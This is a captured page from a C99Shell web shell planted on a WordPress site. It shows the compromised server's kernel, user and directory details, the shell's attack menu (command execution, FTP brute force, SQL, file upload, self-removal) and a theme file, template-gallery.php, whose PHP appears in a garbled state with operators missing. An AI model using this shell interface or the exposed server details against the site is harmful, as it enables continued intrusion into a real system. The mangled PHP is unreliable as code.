!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/srishticampus.in/wp-content/themes/twentytwenty-child/   drwxrwxr-x
Free 39.77 GB of 48.28 GB (82.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     template-gallery.php (2.36 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**

* Template Name: Gallery Page

*

*/

if ( ! defined'ABSPATH' ) ) {

    exit; 
// Exit if accessed directly.

}

get_header(); 
global 
$wpdb;
$upload_dir   wp_upload_dir();
$total $wpdb->get_var"SELECT COUNT(id) FROM `wp_gallery`" );
$items_per_page 9;
$page = ( get_query_var'paged' ) ) ? get_query_var'paged' ) : 1;
$offset = ( $page $items_per_page ) - $items_per_page;    
$getImages $wpdb->get_results("SELECT *  FROM `wp_gallery` ORDER BY id desc LIMIT ${offset}${items_per_page}");
?>
<main id="site-content">

<section class="project-banner">
    <div class="container">
        <div class="banner-sec">
            <div class="projectheading">
                <h3 style="text-transform: uppercase;">Gallery</h3>
            </div>
        </div>
    </div>
</section>

<section class="g-sec">
    <div class="container">
        <div class="row">
            <div class="col-lg-12">

                <div class="galley-rs" id="page1">
                <?php
                    
if(!empty($getImages))
                    {
                        foreach(
$getImages as $images)
                        {
                
?>
                        <div class="imgss">
                            <a target="_blank" href="<?php echo $upload_dir['baseurl'].'/gallery/'.$images->image_url;?>">
                                <img src="<?php echo $upload_dir['baseurl'].'/gallery/'.$images->image_url;?>" alt="Cinque Terre">
                            </a>

                        </div>
                   <?php
                        
}
                    } else {
                        echo 
'No images found';
                    }
                
?>
                </div>
                <div class="pag">
                <?php
                
echo paginate_links( array(
        
'base' => get_pagenum_link(1) . '%_%',
        
'format' => '/page/%#%',
        
'prev_text' => __('&laquo;''prev'),
        
'next_text' => __('&raquo;''next'),
        
'total' => ceil($total $items_per_page),
        
'current' => $page
    
));
                
?>
                </div>

                <!--<div class="pag">
                    <div class="pagination" id="pagin">
                        <a href="#" class="next">&laquo;</a>
                        <a href="#" class="active">1</a>
                       

                        <a href="#" class="prev">&raquo;</a>
                    </div>
                </div> -->
                
            </div>
        </div>
    </div>
</section>

</main><!-- #site-content -->

<?php get_template_part'template-parts/footer-menus-widgets' ); ?>

<?php get_footer(); ?>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0055 ]--